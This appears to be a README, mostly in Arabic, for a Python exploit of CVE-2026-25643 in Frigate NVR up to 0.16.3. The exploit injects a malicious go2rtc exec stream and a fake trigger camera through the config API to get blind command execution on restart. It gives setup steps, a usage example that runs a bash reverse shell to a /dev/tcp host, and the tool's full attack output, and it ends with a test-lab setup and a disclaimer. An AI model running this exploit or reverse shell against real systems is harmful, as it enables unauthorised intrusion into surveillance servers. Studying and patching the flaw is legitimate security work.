
CVE-2026-25643: Frigate ≤0.16.3 ثغرة RCE أعمى عبر حقن exec في go2rtc
يستهدف هذا الاستغلال المكتوب بلغة Python ثغرة حرجة في معالجة الإعدادات في إصدارات Frigate NVR حتى 0.16.3 (عبر مسارات تتطلب مصادقة وأخرى لا تتطلبها). من خلال حقن دفق go2rtc خبيث وإدخال كاميرا وهمية، يطلق الاستغلال تنفيذ أوامر عشوائية بصلاحيات عملية Frigate عند إعادة تشغيل الخدمة — دون الحاجة إلى قشرة عكسية أو التقاط المخرجات.
[!NOTE] لضمان بيئة نظيفة ومعزولة لاعتماديات المشروع، يُنصح باستخدام وحدة
venvفي Python.
git clone https://github.com/joshuavanderpoll/CVE-2026-25643.git
cd CVE-2026-25643
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-25643.git
cd CVE-2026-25643
python -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-25643.py -c "bash -i >& /dev/tcp/host.docker.internal/1111 0>&1" --url http://localhost:5001/
Target : http://localhost:5001
Command: bash -i >& /dev/tcp/host.docker.internal/1111 0>&1
[!] No credentials provided → attempting unauthenticated access
[*] Fetching current configuration (/api/config/raw) ...
[*] Config fetch → HTTP 200
[*] Received 914 bytes
[*] Config was JSON-wrapped → unwrapped
[+] Config parsed successfully (7 top-level keys)
[*] Preparing payload → executing: bash -i >& /dev/tcp/host.docker.internal/1111 0>&1
[*] Using payload: bash -c 'bash -i >& /dev/tcp/host.docker.internal/1111 0>&1'
[+] Injected malicious stream → debug_cmd
[+] Injected trigger camera → trigger_exec
[*] Sending modified config (861 bytes) with option: restart
[*] Config save → HTTP 200
[+] Configuration accepted (server should restart)
============================================================
Payload sent! Command should execute during go2rtc init / camera probe.
Keep in mind:
• Output is NOT captured (blind execution)
• Command runs as the user/frigate process
• Multiple executions may occur during restart
============================================================
cd docker/
docker compose down
docker compose up -d
# You can test at --url http://127.0.0.1:5001

تُقدَّم هذه الأداة لأغراض تعليمية وبحثية فقط. لا يتحمل المنشئ أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن الأداة.